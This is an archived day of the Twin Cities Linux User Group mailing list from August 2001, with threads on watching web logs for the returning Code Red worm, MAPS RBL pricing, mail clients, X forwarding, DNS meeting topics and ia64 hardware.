From tanner at real-time.com Wed Aug 1 00:14:24 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:08 2005 Subject: [TCLUG] MAPS In-Reply-To: <20010731094950.Q23431@ringworld.org>; from dieman+tclug@ringworld.org on Tue, Jul 31, 2001 at 09:49:51AM -0500 References: <20010731074206.A21506@monsoon.msi.umn.edu> <20010731094950.Q23431@ringworld.org> Message-ID: <20010801001424.A21366@real-time.com> Quoting Scott Dier (dieman+tclug@ringworld.org): > * Gabe Turner [010731 09:28]: > > Hmmm... I munged that message :) Anyway, I was asking if anyone actually > > got any pricing from MAPS and if anyone figured out exectly who gets > > service free. Aparently, the price for .edus is 10% of the regular price. > > $125/nameserver, $5/1000 users. Its absouletly cheap! > > http://www.mail-abuse.org/feestructure.html > That is not for RBL+, which is what you want. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From markbrowne at mn.mediaone.net Wed Aug 1 01:01:35 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Q276304 - Error Message Your Password Must Be at Least 18770 Characters and Can Message-ID: <000901c11a4f$71702cc0$6601a8c0@oemcomputer> Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: Q276304 - Error Message Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords.url Type: application/octet-stream Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/182b97dd/Q276304-ErrorMessageYourPasswordMustBeatLeast18770CharactersandCannotRepeatAnyofYourPrevious30689Passwords.obj From tanner at real-time.com Wed Aug 1 02:10:31 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? Message-ID: <20010801021031.M21366@real-time.com> Well the west coast just hit midnight and I am staring at my tail -f /var/log/httpd/access.log With bleery eyes and I'm not seeing anything suspicious. I'm just embarrassed (red faced) at the no-show for code red. :-P -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Aug 1 02:16:20 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Total strong arm tactics! Message-ID: <20010801021620.N21366@real-time.com> http://www.wired.com/news/antitrust/0,1551,45695,00.html Company spokesman Vivek Varma said Microsoft has told computer manufacturers they have two choices for how they configure Windows XP, due out Oct. 25. They can either ship computers with a desktop free of any icons, or they can add as many icons as they want, but only if they also include an icon for Microsoft's MSN Internet access. Man, talk about LACK of freedom. I don't know if anyone has posted this yet, I have not made it through all my email, but is MS trying to push OEMs to linux? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From blayer at qwest.net Wed Aug 1 03:18:02 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: <20010801021031.M21366@real-time.com> References: <20010801021031.M21366@real-time.com> Message-ID: <20010801031802.53e56579.blayer@qwest.net> On Wed, 1 Aug 2001 02:10:31 -0500 "Bob Tanner" wrote: > Well the west coast just hit midnight and I am staring at my > > tail -f /var/log/httpd/access.log > > With bleery eyes and I'm not seeing anything suspicious. > > I'm just embarrassed (red faced) at the no-show for code red. :-P Reports are trickling in from IRC, it has apparently started... Go to bed, -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Wed Aug 1 03:26:04 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Sylpheed Email 0.5.2 released Message-ID: <20010801032604.00c27dc3.blayer@qwest.net> Just a heads-up.. Sylpheed 0.5.2 is out today. This email client is maturing very nicely - yet remains under 1MB for a source download, and the compiled binary is only 1.8MB! If they could just abandon the standard GTK text widget, the interface would be so much smoother. http://sylpheed.good-day.net -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From eng at pinenet.com Wed Aug 1 06:47:57 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Kylix (Thanks--No Thanks--Almost Thanks) Message-ID: <20010801.11475700@linwin.mshome.net> Earlier, Kylix was promoted and trying Kylix open edition was encouraged. It sounded perfect for some of my interests. I tried a TCLUG member's private download offering. The format apparently was not *.tar.gz as the extension indicated. But the package opened as a folder. The Kylix setup process worked nicely, though. But (as another noted) you still needed to obtain registration keys from Borland. Frustrated, I tried to uninstall Kylix but could only delete what I could find on my system. So I went to Borland's site, went through their disfunctional registration process four or more times over two days and finally got the keys. Once successful, I then decided to download Borland's copy of Kylix_oe. When I opened their *.tar.gz the setup script was missing. So I went back to the earlier copy, reinstalled it, filled in the key fields, and registered a second time (as required). Now the Kylix_oe looks just like what I hoped for. Just like VB3 with Pascal. A very nice IDE. Still, I don't like people messing with my time, trust, or computer system. From fertch at mninter.net Wed Aug 1 07:25:08 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:09 2005 Subject: Saturday's Topics? Do we have topics? Re: [TCLUG] Speakers for Saturday's meeting References: Message-ID: <3B67F524.3030208@mninter.net> Dangit, and I wanted to go to this meeting. Other obligations though.... Shawn andy@theasis.com wrote: >>Ok, are there any DNS topics anyone here *needs* explained? >> > >How about public vs. privately available DNS in conjunction with a >firewall? > >Such as an appropriate setup of servers (either one or 2, I guess) so that >queries from outside see certain responses, but those on the inside have >access to different or more information (e.g., additional hosts, LAN >interfaces, whatever). > >That make sense? > >Andy > From mpaulsen at charter.net Wed Aug 1 07:31:05 2001 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] MAPS In-Reply-To: <20010801001424.A21366@real-time.com> References: <20010731094950.Q23431@ringworld.org> <20010731074206.A21506@monsoon.msi.umn.edu> <20010731094950.Q23431@ringworld.org> Message-ID: <5.0.0.25.2.20010801072952.027d8c90@pop.charter.net> At 12:14 AM 8/1/01, you wrote: >Quoting Scott Dier (dieman+tclug@ringworld.org): > > * Gabe Turner [010731 09:28]: > > > Hmmm... I munged that message :) Anyway, I was asking if anyone actually > > > got any pricing from MAPS and if anyone figured out exectly who gets > > > service free. Aparently, the price for .edus is 10% of the regular > price. > > > > $125/nameserver, $5/1000 users. Its absouletly cheap! > > > > http://www.mail-abuse.org/feestructure.html > > > >That is not for RBL+, which is what you want. Not For Profit and Educational Facilities RBL+ Transfer $125/nameserver $5/1,000 users From fertch at mninter.net Wed Aug 1 08:04:31 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Xnest questions-- remote access as well References: Message-ID: <3B67FE5F.6070207@mninter.net> Andy Zbikowski (Zibby) wrote: > >Not too familiar with Sun's or Dec, but if you're getting kicked back to >the logon screen it usually means that your xsession ended with an error. >Window Manager didn't start, couldn't access display, something. Linux >creates a ~/.xsession-errors, check the Sun/Dec equilvent. > About the closest I can see is that it looks like it might be trying to start up a tty session and it fails. This is on a box that I can connect to via Xnest with the gui desktop, and then try to run an X app on it. > >>If I pull up a Xnest session to a box successfully, and then I remote >>into a box that I cant connect to with X of some type I get a "client >>not authorized to connect to computer" error. Anyone have some ideas on >>this? The Sun boxes that I have problems pulling X up remotely on have >>a known good .profile in them that I have duplicated on other servers >>that I can connect to. >> > >What do you mean by Xnest session? XDMCP query? So you query a box, logon, >they pull up a remote session to another box? Via telnet? ssh? rsh? Need >more info... > What I wrote above ties in a little with this. I connect to a server via Xnest to get the gui desktop and log in. I then telnet over to another server to which I can log into via Xnest. I issue the command to pull up a gui interface (such as admintool or sysman) from the command prompt. I then get errors where it cannot connect to . Which is my Linux box. > >Display manager that supports XDMCP I suppose. Do you really need a full >desktop on all these boxes? Isn't a command line enough? :) Can't just >forword your xdisplay and run the programs you need from the command line? > Bingo! That's what I'm after. Running things from the command line, but periodicly I have to pull up a gui interface (again, such as Admintool on Sun, Sysman on DEC, or Veritas' vmsa). But I can't get the GUI display to redirect to my laptop. Which, is why I use Xnest at times to allow me to run them. Otherwise, I need to go to my win2k box and use Exceed or Reflection. Frustrating. Shawn From hick0088 at tc.umn.edu Wed Aug 1 08:17:28 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: <20010801021031.M21366@real-time.com> References: <20010801021031.M21366@real-time.com> Message-ID: <20010801081728.61f38b9c.hick0088@tc.umn.edu> Bob Tanner wrote: > > Well the west coast just hit midnight and I am staring at my > > tail -f /var/log/httpd/access.log > > With bleery eyes and I'm not seeing anything suspicious. > > I'm just embarrassed (red faced) at the no-show for code red. :-P Heh, well it takes time for these things to grow again. How many NT boxes do you think got infected and didn't get rebooted between the 19th and today? I did get two hits from it this morning (5:30, 7:00) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ 90% of all statistics are / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ made up on the spot. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/c64ee9b8/attachment.pgp From jspinti at dart.dartdist.com Wed Aug 1 08:29:00 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: <20010801081728.61f38b9c.hick0088@tc.umn.edu> Message-ID: This hit my inbox this morning: http://www.infoworld.com/articles/hn/xml/01/08/01/010801hnnomelt.xml?0801ale rt Summary: It looks like it woke up, but it's too early to see the damage. M$ says 200,000 copies of patch downloaded on Sunday-Monday, but some are by Win9X users who thought they needed it. NA scanned 20,000 IIS servers and 1230 were still unprotected. (so about 5% which = about 300,000 machines, _if_ you can extrapolate the number) Some guy at Matrix.net is blaming a teenager for it ?? Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Mike Hicks |Sent: Wednesday, August 01, 2001 8:17 AM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] Code Red, red faced? | | |Bob Tanner wrote: |> |> Well the west coast just hit midnight and I am staring at my |> |> tail -f /var/log/httpd/access.log |> |> With bleery eyes and I'm not seeing anything suspicious. |> |> I'm just embarrassed (red faced) at the no-show for code red. :-P | |Heh, well it takes time for these things to grow again. How many NT boxes |do you think got infected and didn't get rebooted between the 19th and |today? | |I did get two hits from it this morning (5:30, 7:00) | |-- | _ _ _ _ _ ___ _ _ _ ___ _ _ __ 90% of all statistics are |/ \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ made up on the spot. |\_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) |[ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] | From andy at theasis.com Wed Aug 1 03:38:08 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: Message-ID: > Some guy at Matrix.net is blaming a teenager for it ?? ??? Blaming a teenager for the worm? Who said that, and where did you see this claim? Andy > > Thanks, > > James Spinti > jspinti at dartdist.com > 952-368-3278 x396 > fax 952-368-3255 From spencer at sihope.com Wed Aug 1 08:31:03 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:09 2005 Subject: Saturday's Topics? Do we have topics? Re: [TCLUG] Speakers for Saturday's meeting In-Reply-To: <20010731230449.E23431@ringworld.org>; from dieman+tclug@ringworld.org on Tue, Jul 31, 2001 at 11:04:49PM -0500 References: <20010731203204.E18097@fandre.com> <20010731230449.E23431@ringworld.org> Message-ID: <20010801083103.A21017@mudpiefoods.com> I for one am eager to listen to you and yours rant on the topic of DNS. I am using a distro called Smoothwall for a firewall at the moment. It has many shortcomings. One of them is its proxy dns. It is called dnrd, and it has limitations. I am unable to maintain my own zones. That is what I find myself in need of at the moment. But then again, do I want to run DNS on a firewall? So, to reiterate, I will be with pad and pen and other note making material on Saturday. -- SpencerUnderground From jspinti at dart.dartdist.com Wed Aug 1 08:46:55 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: Message-ID: Last line in the article I referenced. Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of andy@theasis.com |Sent: Wednesday, August 01, 2001 8:40 AM |To: tclug-list@mn-linux.org |Subject: RE: [TCLUG] Code Red, red faced? | | |> Some guy at Matrix.net is blaming a teenager for it ?? | |??? |Blaming a teenager for the worm? |Who said that, and where did you see this claim? | |Andy | |> |> Thanks, |> |> James Spinti |> jspinti at dartdist.com |> 952-368-3278 x396 |> fax 952-368-3255 | |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From lxy at cloudnet.com Wed Aug 1 08:55:27 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:09 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: <20010801021031.M21366@real-time.com> Message-ID: On Wed, 1 Aug 2001, Bob Tanner wrote: > Well the west coast just hit midnight and I am staring at my > > tail -f /var/log/httpd/access.log I'm not the only one who did this? :-) Prior to yesterday, I had received a total of 60 hits from the July 19 outbreak. I checked this morning, and there's no new hits yet. Just goes to show how the media tends to fsck everything up.... -Brian From hick0088 at tc.umn.edu Wed Aug 1 08:57:58 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: <20010801081728.61f38b9c.hick0088@tc.umn.edu> References: <20010801021031.M21366@real-time.com> <20010801081728.61f38b9c.hick0088@tc.umn.edu> Message-ID: <20010801085758.4cf6c1f1.hick0088@tc.umn.edu> http://ars.userfriendly.org/cartoons/?id=20010801 -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ ILOVEYOU, Linux. / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/f9e057df/attachment.pgp From blutgens at sistina.com Wed Aug 1 09:02:20 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Total strong arm tactics! In-Reply-To: <20010801021620.N21366@real-time.com>; from tanner@real-time.com on Wed, Aug 01, 2001 at 02:16:20AM -0500 References: <20010801021620.N21366@real-time.com> Message-ID: <20010801090220.A13565@minime.sistina.com> On Wed, Aug 01, 2001 at 02:16:20AM -0500, Bob Tanner wrote: > >Man, talk about LACK of freedom. I don't know if anyone has posted this yet, I >have not made it through all my email, but is MS trying to push OEMs to linux? Heh. Nope. Most of the netinstalled flavors of M$ shit come with this anyway. Noone will even bat an eye. -- Ben Lutgens Sistina Software Inc. Kernel panic: I have no root and I want to scream -------------- next part -------------- A non-text attachment was scrubbed... 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The mutt-1.2.5 tarball is 1.9 MB, and the compiled binary is 484k. Not only this but it's lighter on resources to run. Faster to use as it's all keyboard based. Supports all types of mailboxes, as well as POP3, IMAP. Supports gpg, spellchecking, handles mime types properly, attach files. and you can either run it in a terminal emulator or from console. And it lets you use your editor of choice and pager of choice for reading and composing mail. Mutt is geeks best friend. -- Ben Lutgens Sistina Software Inc. Kernel panic: I have no root and I want to scream -------------- next part -------------- A non-text attachment was scrubbed... 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I sure wish I could afford to buy a half dozen win2k machines and IIS to support the Sistina website :-) -- Ben Lutgens Sistina Software Inc. Kernel panic: I have no root and I want to scream -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/3e7df462/attachment.pgp From andy at theasis.com Wed Aug 1 04:13:32 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: Message-ID: OK. I don't really agree with your interpretation of the quote. To me it says: - The worm is a disruption of the level of a teenage prank. Not that he thinks it was created and launched by a single teenager. - OTOH, To Salus all of us are kids. The bright kids he refers to are in contrast to the old geezers like himself and his cronies, including folks like Vint Cerf. Finally, I'm willing to bet that the 2 sentences, even if accurate quotes, were not printed in the same context as they were said. Knowing Peter, there was a whole paragraph between them. That's just journalism. Andy > Last line in the article I referenced. > > Thanks, > > James Spinti > jspinti at dartdist.com > 952-368-3278 x396 > fax 952-368-3255 > > |-----Original Message----- > |From: tclug-list-admin@mn-linux.org > |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of andy@theasis.com > |Sent: Wednesday, August 01, 2001 8:40 AM > |To: tclug-list@mn-linux.org > |Subject: RE: [TCLUG] Code Red, red faced? > | > | > |> Some guy at Matrix.net is blaming a teenager for it ?? > | > |??? > |Blaming a teenager for the worm? > |Who said that, and where did you see this claim? > | > |Andy > | > |> > |> Thanks, > |> > |> James Spinti > |> jspinti at dartdist.com From spencer at sihope.com Wed Aug 1 09:07:27 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Sylpheed Email 0.5.2 released In-Reply-To: <20010801090747.B13565@minime.sistina.com>; from blutgens@sistina.com on Wed, Aug 01, 2001 at 09:07:47AM -0500 References: <20010801032604.00c27dc3.blayer@qwest.net> <20010801090747.B13565@minime.sistina.com> Message-ID: <20010801090727.B21042@mudpiefoods.com> Once you get it to work, it is great. (I have won the most recent battle with mutt, well with the mutt user.) :) I have just begun. From rudie at sihope.com Wed Aug 1 09:18:52 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: References: Message-ID: <01080109185200.15869@localhost.localdomain> On Wednesday 01 August 2001 08:29 am, you wrote: > This hit my inbox this morning: > > http://www.infoworld.com/articles/hn/xml/01/08/01/010801hnnomelt.xml?0801al >e rt > > Summary: > It looks like it woke up, but it's too early to see the damage. > M$ says 200,000 copies of patch downloaded on Sunday-Monday, but some are > by Win9X users who thought they needed it. > NA scanned 20,000 IIS servers and 1230 were still unprotected. (so about 5% > which = about 300,000 machines, _if_ you can extrapolate the number) > Some guy at Matrix.net is blaming a teenager for it ?? "My guess is, like so many of the disruptive things on the Internet over the last 3 or 4 years, this is almost a teenage prank kind of thing," said Salus of Matrix.Net. "There are a lot of bright kids out there; unfortunately some of them are bored." sounds like he's not blaming a 'teenager', he is equating the worm with a 'teenage prank kind of thing' Hell I wish I was capable of such malicious mischief when I was just a teenager -Rudie From kblack at isd.net Wed Aug 1 09:24:08 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Code Red (sort of) Message-ID: <3b681108.d7.0@isd.net> Only 1 request on port 80 in the logs this morning, but it is kinda funny who it comes from: Aug 1 04:50:04 vpn kernel: Packet log: eth0i DENY eth0 PROTO=6 12.108.167.165:2749 XXX.XX.XX.235:80 L=48 S=0x00 I=54837 F=0x4000 T=114 SYN (#160) #whois 12.108.167.165 AT&T ITS (NET-ATT) ATT 12.0.0.0 - 12.255.255.255 MICROSOFT CORPORATION (NETBLK-MICROSOFT948-167) MICROSOFT948-167 12.108.167.0 - 12.108.167.255 Kelly From jspinti at dart.dartdist.com Wed Aug 1 09:24:49 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Code Red, red faced? In-Reply-To: Message-ID: OK, I can accept your interpretation. I definitely agree that the context is probably totally different than appears in the article--that's just _sensationalistic_ journalism. Which, as userfriendly today so nicely illustrated, is the norm for journalism today. Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of andy@theasis.com |Sent: Wednesday, August 01, 2001 9:15 AM |To: tclug-list@mn-linux.org |Subject: RE: [TCLUG] Code Red, red faced? | | | |OK. I don't really agree with your interpretation of the quote. To me it |says: | - The worm is a disruption of the level of a teenage prank. | Not that he thinks it was created and launched by a single teenager. | | - OTOH, To Salus all of us are kids. The bright kids he refers to are in | contrast to the old geezers like himself and his cronies, including | folks like Vint Cerf. | |Finally, I'm willing to bet that the 2 sentences, even if accurate quotes, |were not printed in the same context as they were said. Knowing Peter, |there was a whole paragraph between them. That's just journalism. | |Andy | | From rudie at sihope.com Wed Aug 1 09:22:59 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] Code Red (sort of) In-Reply-To: <3b681108.d7.0@isd.net> References: <3b681108.d7.0@isd.net> Message-ID: <01080109225901.15869@localhost.localdomain> On Wednesday 01 August 2001 09:24 am, you wrote: > Only 1 request on port 80 in the logs this morning, > but it is kinda funny who it comes from: > > Aug 1 04:50:04 vpn kernel: Packet log: eth0i DENY eth0 > PROTO=6 12.108.167.165:2749 XXX.XX.XX.235:80 L=48 S=0x00 > I=54837 F=0x4000 T=114 SYN (#160) > > #whois 12.108.167.165 > AT&T ITS (NET-ATT) ATT 12.0.0.0 > - 12.255.255.255 > MICROSOFT CORPORATION (NETBLK-MICROSOFT948-167) > MICROSOFT948-167 > 12.108.167.0 > - 12.108.167.255 > > Kelly BWAHUAHAHAHAHAHAHA!!!!!!!! From esper at sherohman.org Wed Aug 1 09:30:35 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:10 2005 Subject: Saturday's Topics? Do we have topics? Re: [TCLUG] Speakers for Saturday's meeting In-Reply-To: <20010731230449.E23431@ringworld.org>; from dieman+tclug@ringworld.org on Tue, Jul 31, 2001 at 11:04:49PM -0500 References: <20010731203204.E18097@fandre.com> <20010731230449.E23431@ringworld.org> Message-ID: <20010801093035.A9200@sherohman.org> On Tue, Jul 31, 2001 at 11:04:49PM -0500, Scott Dier wrote: > Ok, are there any DNS topics anyone here *needs* explained? I'll see that request for internal/external DNS setups and raise you an interest in configuring subzones (foo.com, bar.foo.com, baz.foo.com), either on the same server or delegated to another server. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From chrome at real-time.com Wed Aug 1 09:34:06 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:10 2005 Subject: Saturday's Topics? Do we have topics? Re: [TCLUG] Speakers for Saturday's meeting In-Reply-To: <20010731230449.E23431@ringworld.org>; from dieman+tclug@ringworld.org on Tue, Jul 31, 2001 at 11:04:49PM -0500 References: <20010731203204.E18097@fandre.com> <20010731230449.E23431@ringworld.org> Message-ID: <20010801093406.B25198@real-time.com> > My only 'presentation' worthy device is the wince device ive got laying > around, so nobody gets to flog me when I bring it with, promise? I dont > have the time nor $$ to get a big enough flash card to put X and > magicpoint on it yet. do you actually have Linux running on it, or just NetBSD? I've never gotten around to trying to get Linux running on my z50; and don't know how good it is. NetBSD works; but takes a lot of work to keep it small enough to fit on 128MB of flash drive. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From bradyh at bitstream.net Wed Aug 1 09:35:50 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:25:10 2005 Subject: [TCLUG] logitech usb optical wheelmouse? Message-ID: <996676550.4653.9.camel@lis.llewellyn.com> I bought one of these yesterday and I can't get the mousewheel to work on my Redhat 7.1 box. It has a usb-to-9-pin adaptor which is probably what's causing the problem. I searched the web and found other people with questions but no answers. Has anyone here run into this? Brady From dieman+tclug at ringworld.org Wed Aug 1 09:39:53 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:10 2005 Subject: Saturday's Topics? Do we have topics? Re: [TCLUG] Speakers for Saturday's meeting In-Reply-To: <20010801093406.B25198@real-time.com> Message-ID: <20010801093952.H23431@ringworld.org> * Carl Wilhelm Soderstrom [010801 09:38]: > around to trying to get Linux running on my z50; and don't know how good it > is. NetBSD works; but takes a lot of work to keep it small enough to fit on > 128MB of flash drive. I never got around to getting it totally working, not enough flash. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From chrome at real-time.com Wed Aug 1 09:44:16 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] logitech usb optical wheelmouse? In-Reply-To: <996676550.4653.9.camel@lis.llewellyn.com>; from bradyh@bitstream.net on Wed, Aug 01, 2001 at 09:35:50AM -0500 References: <996676550.4653.9.camel@lis.llewellyn.com> Message-ID: <20010801094416.C25198@real-time.com> > I bought one of these yesterday and I can't get the mousewheel to work > on my Redhat 7.1 box. It has a usb-to-9-pin adaptor which is probably > what's causing the problem. I searched the web and found other people > with questions but no answers. Has anyone here run into this? have you had scrollwheels working before? do you have imwheel running? do you have Option "ZAxisMapping" "4 5" in your XF86Config-4 file? Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Wed Aug 1 09:46:37 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:11 2005 Subject: Saturday's Topics? Do we have topics? Re: [TCLUG] Speakers for Saturday's meeting In-Reply-To: <20010801093952.H23431@ringworld.org>; from dieman+tclug@ringworld.org on Wed, Aug 01, 2001 at 09:39:53AM -0500 References: <20010801093406.B25198@real-time.com> <20010801093952.H23431@ringworld.org> Message-ID: <20010801094637.D25198@real-time.com> > I never got around to getting it totally working, not enough flash. Linux or NetBSD? how much flash do you have? My thought was to figure out how to netboot the thing; and NFS-mount all the bulky trees; so I could set up a cross-compile environment to build a lean system with. the other option of course, is external SCSI drives. more stuff I don't have time for. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From nitebirdz at qwest.net Wed Aug 1 09:45:10 2001 From: nitebirdz at qwest.net (Jesus Ortega (a.k.a. Nitebirdz)) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] ia64 machines? In-Reply-To: <20010428012844.A28035@real-time.com> Message-ID: On Sat, 28 Apr 2001, Bob Tanner wrote: > Date: Sat, 28 Apr 2001 01:28:44 -0500 > From: Bob Tanner > Reply-To: tclug-list@mn-linux.org > To: tclug-list@mn-linux.org > Subject: [TCLUG] ia64 machines? > > Are they any ia64 machines OUT for purchase yet? > > I did not think there are, but I see several people leeching the ia64 iso images > and they are IPs from MN ISPs! > > > Hehee. A little bit behind in my email, right? In any case, you can purchase Itanium IA64 systems from SGI: http://www.sgi.com/workstations/750/ -- ------------------------------------------------------ Nitebirdz ------------------------------------------------------ http://www.linuxnovice.org News, tips, articles, links... *** http://www.mozilla.org *** From gje at parrotheaven.com Wed Aug 1 09:55:50 2001 From: gje at parrotheaven.com (Greg Evans) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] ia64 machines? References: Message-ID: <011101c11a9a$0ecfcdf0$3a371d41@beaker> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HP just started listed one that you can order pre-installed with ia64 linux from Redhat. http://www.hp.com/workstations/products/itanium/i2000/summary.html /* Greg Evans gje@parrotheaven.com */ - ------------ "For believe me: the secret for harvesting from existence the greatest fruitfulness and the greatest enjoyment is- to live dangerously! Build your cities on the slopes of Vesuvius!" - -F. Nietzsche - ----- Original Message ----- From: "Jesus Ortega (a.k.a. Nitebirdz)" To: Sent: Wednesday, August 01, 2001 9:45 AM Subject: Re: [TCLUG] ia64 machines? > On Sat, 28 Apr 2001, Bob Tanner wrote: > > > Date: Sat, 28 Apr 2001 01:28:44 -0500 > > From: Bob Tanner > > Reply-To: tclug-list@mn-linux.org > > To: tclug-list@mn-linux.org > > Subject: [TCLUG] ia64 machines? > > > > Are they any ia64 machines OUT for purchase yet? > > > > I did not think there are, but I see several people leeching the > > ia64 iso images and they are IPs from MN ISPs! > > > > > >> > > Hehee. A little bit behind in my email, right? In any case, you > can purchase Itanium IA64 systems from SGI: > > http://www.sgi.com/workstations/750/ > > > > -- > ------------------------------------------------------ > Nitebirdz > ------------------------------------------------------ > http://www.linuxnovice.org > News, tips, articles, links... > > *** http://www.mozilla.org *** > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO2gYdRPPkCgJkL3HEQJSPQCg0vc5f+rn/rKE2YoOjaZ1ARzNC/8An0kW mCXdgWx7qF+o75txXtSn8T9K =AeUM -----END PGP SIGNATURE----- From natecars at 